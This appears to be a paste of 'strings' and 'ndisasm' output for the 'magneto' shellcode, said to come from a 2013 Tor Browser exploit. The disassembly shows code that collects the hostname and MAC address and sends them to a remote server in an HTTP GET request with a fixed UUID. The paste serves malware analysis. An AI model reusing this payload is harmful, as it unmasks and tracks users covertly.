Guest User

TBB exploit shellcode (magneto)

a guest
Aug 4th, 2013
5,829
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Shellcode (magneto) taken from function f() from http://pastebin.mozilla.org/2777139
  2.  
  3. vlad$ strings shellcode
  4. vlad@ubuntu:~$ strings shellcode
  5. ;}$u
  6. D$$[[aYZQ
  7. GET up
  8. PhLw&
  9. PhLw&
  10. TSh)
  11. u6PPPP@P@Ph
  12. RPRh
  13. WVQQhHr
  14. OWSh
  15. ShunMa
  16. Connection: keep-alive
  17. Accept: */*
  18. Accept-Encoding: gzip
  19. Cookie: ID=ws2_32
  20. IPHLPAPI
  21. 6GET /05cea4de-951d-4037-bf8f-f69055b279bb HTTP/1.1
  22. Host:
  23.  
  24. vlad$ ndisasm -u shellcode
  25. 00000000 60 pushad
  26. 00000001 FC cld
  27. 00000002 E88A000000 call dword 0x91
  28. 00000007 60 pushad
  29. 00000008 89E5 mov ebp,esp
  30. 0000000A 31D2 xor edx,edx
  31. 0000000C 648B5230 mov edx,[fs:edx+0x30]
  32. 00000010 8B520C mov edx,[edx+0xc]
  33. 00000013 8B5214 mov edx,[edx+0x14]
  34. 00000016 8B7228 mov esi,[edx+0x28]
  35. 00000019 0FB74A26 movzx ecx,word [edx+0x26]
  36. 0000001D 31FF xor edi,edi
  37. 0000001F 31C0 xor eax,eax
  38. 00000021 AC lodsb
  39. 00000022 3C61 cmp al,0x61
  40. 00000024 7C02 jl 0x28
  41. 00000026 2C20 sub al,0x20
  42. 00000028 C1CF0D ror edi,0xd
  43. 0000002B 01C7 add edi,eax
  44. 0000002D E2F0 loop 0x1f
  45. 0000002F 52 push edx
  46. 00000030 57 push edi
  47. 00000031 8B5210 mov edx,[edx+0x10]
  48. 00000034 8B423C mov eax,[edx+0x3c]
  49. 00000037 01D0 add eax,edx
  50. 00000039 8B4078 mov eax,[eax+0x78]
  51. 0000003C 85C0 test eax,eax
  52. 0000003E 744A jz 0x8a
  53. 00000040 01D0 add eax,edx
  54. 00000042 50 push eax
  55. 00000043 8B4818 mov ecx,[eax+0x18]
  56. 00000046 8B5820 mov ebx,[eax+0x20]
  57. 00000049 01D3 add ebx,edx
  58. 0000004B E33C jecxz 0x89
  59. 0000004D 49 dec ecx
  60. 0000004E 8B348B mov esi,[ebx+ecx*4]
  61. 00000051 01D6 add esi,edx
  62. 00000053 31FF xor edi,edi
  63. 00000055 31C0 xor eax,eax
  64. 00000057 AC lodsb
  65. 00000058 C1CF0D ror edi,0xd
  66. 0000005B 01C7 add edi,eax
  67. 0000005D 38E0 cmp al,ah
  68. 0000005F 75F4 jnz 0x55
  69. 00000061 037DF8 add edi,[ebp-0x8]
  70. 00000064 3B7D24 cmp edi,[ebp+0x24]
  71. 00000067 75E2 jnz 0x4b
  72. 00000069 58 pop eax
  73. 0000006A 8B5824 mov ebx,[eax+0x24]
  74. 0000006D 01D3 add ebx,edx
  75. 0000006F 668B0C4B mov cx,[ebx+ecx*2]
  76. 00000073 8B581C mov ebx,[eax+0x1c]
  77. 00000076 01D3 add ebx,edx
  78. 00000078 8B048B mov eax,[ebx+ecx*4]
  79. 0000007B 01D0 add eax,edx
  80. 0000007D 89442424 mov [esp+0x24],eax
  81. 00000081 5B pop ebx
  82. 00000082 5B pop ebx
  83. 00000083 61 popad
  84. 00000084 59 pop ecx
  85. 00000085 5A pop edx
  86. 00000086 51 push ecx
  87. 00000087 FFE0 jmp eax
  88. 00000089 58 pop eax
  89. 0000008A 5F pop edi
  90. 0000008B 5A pop edx
  91. 0000008C 8B12 mov edx,[edx]
  92. 0000008E EB86 jmp short 0x16
  93. 00000090 055D81BDE9 add eax,0xe9bd815d
  94. 00000095 0200 add al,[eax]
  95. 00000097 004745 add [edi+0x45],al
  96. 0000009A 54 push esp
  97. 0000009B 207570 and [ebp+0x70],dh
  98. 0000009E 8D85D1020000 lea eax,[ebp+0x2d1]
  99. 000000A4 50 push eax
  100. 000000A5 684C772607 push dword 0x726774c
  101. 000000AA FFD5 call ebp
  102. 000000AC 85C0 test eax,eax
  103. 000000AE 745E jz 0x10e
  104. 000000B0 8D85D8020000 lea eax,[ebp+0x2d8]
  105. 000000B6 50 push eax
  106. 000000B7 684C772607 push dword 0x726774c
  107. 000000BC FFD5 call ebp
  108. 000000BE 85C0 test eax,eax
  109. 000000C0 744C jz 0x10e
  110. 000000C2 BB90010000 mov ebx,0x190
  111. 000000C7 29DC sub esp,ebx
  112. 000000C9 54 push esp
  113. 000000CA 53 push ebx
  114. 000000CB 6829806B00 push dword 0x6b8029
  115. 000000D0 FFD5 call ebp
  116. 000000D2 01DC add esp,ebx
  117. 000000D4 85C0 test eax,eax
  118. 000000D6 7536 jnz 0x10e
  119. 000000D8 50 push eax
  120. 000000D9 50 push eax
  121. 000000DA 50 push eax
  122. 000000DB 50 push eax
  123. 000000DC 40 inc eax
  124. 000000DD 50 push eax
  125. 000000DE 40 inc eax
  126. 000000DF 50 push eax
  127. 000000E0 68EA0FDFE0 push dword 0xe0df0fea
  128. 000000E5 FFD5 call ebp
  129. 000000E7 31DB xor ebx,ebx
  130. 000000E9 F7D3 not ebx
  131. 000000EB 39C3 cmp ebx,eax
  132. 000000ED 741F jz 0x10e
  133. 000000EF 89C3 mov ebx,eax
  134. 000000F1 6A10 push byte +0x10
  135. 000000F3 8DB5E1020000 lea esi,[ebp+0x2e1]
  136. 000000F9 56 push esi
  137. 000000FA 53 push ebx
  138. 000000FB 6899A57461 push dword 0x6174a599
  139. 00000100 FFD5 call ebp
  140. 00000102 85C0 test eax,eax
  141. 00000104 741F jz 0x125
  142. 00000106 FE8D89000000 dec byte [ebp+0x89]
  143. 0000010C 75E3 jnz 0xf1
  144. 0000010E 80BD4F02000001 cmp byte [ebp+0x24f],0x1
  145. 00000115 7407 jz 0x11e
  146. 00000117 E83B010000 call dword 0x257
  147. 0000011C EB05 jmp short 0x123
  148. 0000011E E84D010000 call dword 0x270
  149. 00000123 FFE7 jmp edi
  150. 00000125 B800010000 mov eax,0x100
  151. 0000012A 29C4 sub esp,eax
  152. 0000012C 89E2 mov edx,esp
  153. 0000012E 52 push edx
  154. 0000012F 50 push eax
  155. 00000130 52 push edx
  156. 00000131 68B649DE01 push dword 0x1de49b6
  157. 00000136 FFD5 call ebp
  158. 00000138 5F pop edi
  159. 00000139 81C400010000 add esp,0x100
  160. 0000013F 85C0 test eax,eax
  161. 00000141 0F85F2000000 jnz dword 0x239
  162. 00000147 57 push edi
  163. 00000148 E8F9000000 call dword 0x246
  164. 0000014D 5E pop esi
  165. 0000014E 89CA mov edx,ecx
  166. 00000150 8DBDE9020000 lea edi,[ebp+0x2e9]
  167. 00000156 E8EB000000 call dword 0x246
  168. 0000015B 4F dec edi
  169. 0000015C 83FA20 cmp edx,byte +0x20
  170. 0000015F 7C05 jl 0x166
  171. 00000161 BA20000000 mov edx,0x20
  172. 00000166 89D1 mov ecx,edx
  173. 00000168 56 push esi
  174. 00000169 F3A4 rep movsb
  175. 0000016B B90D000000 mov ecx,0xd
  176. 00000170 8DB5C4020000 lea esi,[ebp+0x2c4]
  177. 00000176 F3A4 rep movsb
  178. 00000178 89BD4B020000 mov [ebp+0x24b],edi
  179. 0000017E 5E pop esi
  180. 0000017F 56 push esi
  181. 00000180 68A9283480 push dword 0x803428a9
  182. 00000185 FFD5 call ebp
  183. 00000187 85C0 test eax,eax
  184. 00000189 0F84AA000000 jz dword 0x239
  185. 0000018F 668B480A mov cx,[eax+0xa]
  186. 00000193 6683F904 cmp cx,byte +0x4
  187. 00000197 0F829C000000 jc dword 0x239
  188. 0000019D 8D400C lea eax,[eax+0xc]
  189. 000001A0 8B00 mov eax,[eax]
  190. 000001A2 8B08 mov ecx,[eax]
  191. 000001A4 8B09 mov ecx,[ecx]
  192. 000001A6 B800010000 mov eax,0x100
  193. 000001AB 50 push eax
  194. 000001AC 89E7 mov edi,esp
  195. 000001AE 29C4 sub esp,eax
  196. 000001B0 89E6 mov esi,esp
  197. 000001B2 57 push edi
  198. 000001B3 56 push esi
  199. 000001B4 51 push ecx
  200. 000001B5 51 push ecx
  201. 000001B6 684872D2B8 push dword 0xb8d27248
  202. 000001BB FFD5 call ebp
  203. 000001BD 85C0 test eax,eax
  204. 000001BF 81C404010000 add esp,0x104
  205. 000001C5 0FB70F movzx ecx,word [edi]
  206. 000001C8 83F906 cmp ecx,byte +0x6
  207. 000001CB 726C jc 0x239
  208. 000001CD B906000000 mov ecx,0x6
  209. 000001D2 B810000000 mov eax,0x10
  210. 000001D7 29C4 sub esp,eax
  211. 000001D9 89E7 mov edi,esp
  212. 000001DB 89CA mov edx,ecx
  213. 000001DD D1E2 shl edx,1
  214. 000001DF 50 push eax
  215. 000001E0 52 push edx
  216. 000001E1 31D2 xor edx,edx
  217. 000001E3 8A16 mov dl,[esi]
  218. 000001E5 88D0 mov al,dl
  219. 000001E7 24F0 and al,0xf0
  220. 000001E9 C0E804 shr al,0x4
  221. 000001EC 3C09 cmp al,0x9
  222. 000001EE 7704 ja 0x1f4
  223. 000001F0 0430 add al,0x30
  224. 000001F2 EB02 jmp short 0x1f6
  225. 000001F4 0437 add al,0x37
  226. 000001F6 8807 mov [edi],al
  227. 000001F8 47 inc edi
  228. 000001F9 88D0 mov al,dl
  229. 000001FB 240F and al,0xf
  230. 000001FD 3C09 cmp al,0x9
  231. 000001FF 7704 ja 0x205
  232. 00000201 0430 add al,0x30
  233. 00000203 EB02 jmp short 0x207
  234. 00000205 0437 add al,0x37
  235. 00000207 8807 mov [edi],al
  236. 00000209 47 inc edi
  237. 0000020A 46 inc esi
  238. 0000020B E2D4 loop 0x1e1
  239. 0000020D 59 pop ecx
  240. 0000020E 29CF sub edi,ecx
  241. 00000210 89FE mov esi,edi
  242. 00000212 58 pop eax
  243. 00000213 01C4 add esp,eax
  244. 00000215 8BBD4B020000 mov edi,[ebp+0x24b]
  245. 0000021B F3A4 rep movsb
  246. 0000021D C6854F02000001 mov byte [ebp+0x24f],0x1
  247. 00000224 E82E000000 call dword 0x257
  248. 00000229 31C0 xor eax,eax
  249. 0000022B 50 push eax
  250. 0000022C 51 push ecx
  251. 0000022D 29CF sub edi,ecx
  252. 0000022F 4F dec edi
  253. 00000230 57 push edi
  254. 00000231 53 push ebx
  255. 00000232 68C2EB385F push dword 0x5f38ebc2
  256. 00000237 FFD5 call ebp
  257. 00000239 53 push ebx
  258. 0000023A 68756E4D61 push dword 0x614d6e75
  259. 0000023F FFD5 call ebp
  260. 00000241 E9C8FEFFFF jmp dword 0x10e
  261. 00000246 31C9 xor ecx,ecx
  262. 00000248 F7D1 not ecx
  263. 0000024A 31C0 xor eax,eax
  264. 0000024C F2AE repne scasb
  265. 0000024E F7D1 not ecx
  266. 00000250 49 dec ecx
  267. 00000251 C3 ret
  268. 00000252 0000 add [eax],al
  269. 00000254 0000 add [eax],al
  270. 00000256 008DBDE90200 add [ebp+0x2e9bd],cl
  271. 0000025C 00E8 add al,ch
  272. 0000025E E4FF in al,0xff
  273. 00000260 FF db 0xff
  274. 00000261 FF4FB9 dec dword [edi-0x47]
  275. 00000264 4F dec edi
  276. 00000265 0000 add [eax],al
  277. 00000267 008DB5750200 add [ebp+0x275b5],cl
  278. 0000026D 00F3 add bl,dh
  279. 0000026F A4 movsb
  280. 00000270 8DBDE9020000 lea edi,[ebp+0x2e9]
  281. 00000276 E8CBFFFFFF call dword 0x246
  282. 0000027B C3 ret
  283. 0000027C 0D0A436F6E or eax,0x6e6f430a
  284. 00000281 6E outsb
  285. 00000282 656374696F arpl [gs:ecx+ebp*2+0x6f],si
  286. 00000287 6E outsb
  287. 00000288 3A20 cmp ah,[eax]
  288. 0000028A 6B656570 imul esp,[ebp+0x65],byte +0x70
  289. 0000028E 2D616C6976 sub eax,0x76696c61
  290. 00000293 650D0A416363 gs or eax,0x6363410a
  291. 00000299 657074 gs jo 0x310
  292. 0000029C 3A20 cmp ah,[eax]
  293. 0000029E 2A2F sub ch,[edi]
  294. 000002A0 2A0D0A416363 sub cl,[dword 0x6363410a]
  295. 000002A6 657074 gs jo 0x31d
  296. 000002A9 2D456E636F sub eax,0x6f636e45
  297. 000002AE 64696E673A20677A imul ebp,[fs:esi+0x67],dword 0x7a67203a
  298. 000002B6 69700D0A0D0A00 imul esi,[eax+0xd],dword 0xa0d0a
  299. 000002BD 83C70E add edi,byte +0xe
  300. 000002C0 31C9 xor ecx,ecx
  301. 000002C2 F7D1 not ecx
  302. 000002C4 31C0 xor eax,eax
  303. 000002C6 F3AE repe scasb
  304. 000002C8 4F dec edi
  305. 000002C9 FFE7 jmp edi
  306. 000002CB 0D0A436F6F or eax,0x6f6f430a
  307. 000002D0 6B69653A imul ebp,[ecx+0x65],byte +0x3a
  308. 000002D4 204944 and [ecx+0x44],cl
  309. 000002D7 3D7773325F cmp eax,0x5f327377
  310. 000002DC 3332 xor esi,[edx]
  311. 000002DE 004950 add [ecx+0x50],cl
  312. 000002E1 48 dec eax
  313. 000002E2 4C dec esp
  314. 000002E3 50 push eax
  315. 000002E4 41 inc ecx
  316. 000002E5 50 push eax
  317. 000002E6 49 dec ecx
  318. 000002E7 0002 add [edx],al
  319. 000002E9 0000 add [eax],al
  320. 000002EB 50 push eax
  321. 000002EC 41 inc ecx
  322. 000002ED DECA fmulp st2
  323. 000002EF 3647 ss inc edi
  324. 000002F1 45 inc ebp
  325. 000002F2 54 push esp
  326. 000002F3 202F and [edi],ch
  327. 000002F5 303563656134 xor [dword 0x34616563],dh
  328. 000002FB 64652D39353164 gs sub eax,0x64313539
  329. 00000302 2D34303337 sub eax,0x37333034
  330. 00000307 2D62663866 sub eax,0x66386662
  331. 0000030C 2D66363930 sub eax,0x30393666
  332. 00000311 3535623237 xor eax,0x37326235
  333. 00000316 396262 cmp [edx+0x62],esp
  334. 00000319 204854 and [eax+0x54],cl
  335. 0000031C 54 push esp
  336. 0000031D 50 push eax
  337. 0000031E 2F das
  338. 0000031F 312E xor [esi],ebp
  339. 00000321 310D0A486F73 xor [dword 0x736f480a],ecx
  340. 00000327 743A jz 0x363
  341. 00000329 2000 and [eax],al
  342. 0000032B 0000 add [eax],al
  343. 0000032D 0000 add [eax],al
  344. 0000032F 0000 add [eax],al
  345. 00000331 0000 add [eax],al
  346. 00000333 0000 add [eax],al
  347. 00000335 0000 add [eax],al
  348. 00000337 0000 add [eax],al
  349. 00000339 0000 add [eax],al
  350. 0000033B 0000 add [eax],al
  351. 0000033D 0000 add [eax],al
  352. 0000033F 0000 add [eax],al
  353. 00000341 0000 add [eax],al
  354. 00000343 0000 add [eax],al
  355. 00000345 0000 add [eax],al
  356. 00000347 0000 add [eax],al
  357. 00000349 0000 add [eax],al
  358. 0000034B 0000 add [eax],al
  359. 0000034D 0000 add [eax],al
  360. 0000034F 0000 add [eax],al
  361. 00000351 0000 add [eax],al
  362. 00000353 0000 add [eax],al
  363. 00000355 0000 add [eax],al
  364. 00000357 0000 add [eax],al
  365. 00000359 0000 add [eax],al
  366. 0000035B 0000 add [eax],al
  367. 0000035D 0000 add [eax],al
  368. 0000035F 0000 add [eax],al
  369. 00000361 0000 add [eax],al
  370. 00000363 0000 add [eax],al
  371. 00000365 0000 add [eax],al
  372. 00000367 0000 add [eax],al
  373. 00000369 0000 add [eax],al
  374. 0000036B 0000 add [eax],al
  375. 0000036D 0000 add [eax],al
  376. 0000036F 0000 add [eax],al
  377. 00000371 0000 add [eax],al
  378. 00000373 0000 add [eax],al
  379. 00000375 0000 add [eax],al
  380. 00000377 0000 add [eax],al
  381. 00000379 0000 add [eax],al
  382. 0000037B 0000 add [eax],al
  383. 0000037D 0000 add [eax],al
  384. 0000037F 0000 add [eax],al
  385. 00000381 0000 add [eax],al
  386. 00000383 0000 add [eax],al
  387. 00000385 0000 add [eax],al
  388. 00000387 0000 add [eax],al
  389. 00000389 0000 add [eax],al
  390. 0000038B 0000 add [eax],al
  391. 0000038D 0000 add [eax],al
  392. 0000038F 0000 add [eax],al
  393. 00000391 0000 add [eax],al
  394. 00000393 0000 add [eax],al
  395. 00000395 0000 add [eax],al
  396. 00000397 0000 add [eax],al
  397. 00000399 0000 add [eax],al
  398. 0000039B 0000 add [eax],al
  399. 0000039D 0000 add [eax],al
  400. 0000039F 0000 add [eax],al
  401. 000003A1 0000 add [eax],al
  402. 000003A3 0000 add [eax],al
  403. 000003A5 0000 add [eax],al
  404. 000003A7 0000 add [eax],al
  405. 000003A9 0000 add [eax],al
  406. 000003AB 0000 add [eax],al
  407. 000003AD 0000 add [eax],al
  408. 000003AF 0000 add [eax],al
  409. 000003B1 0000 add [eax],al
  410. 000003B3 0000 add [eax],al
  411. 000003B5 0000 add [eax],al
  412. 000003B7 0000 add [eax],al
  413. 000003B9 0000 add [eax],al
  414. 000003BB 90 nop
RAW Paste Data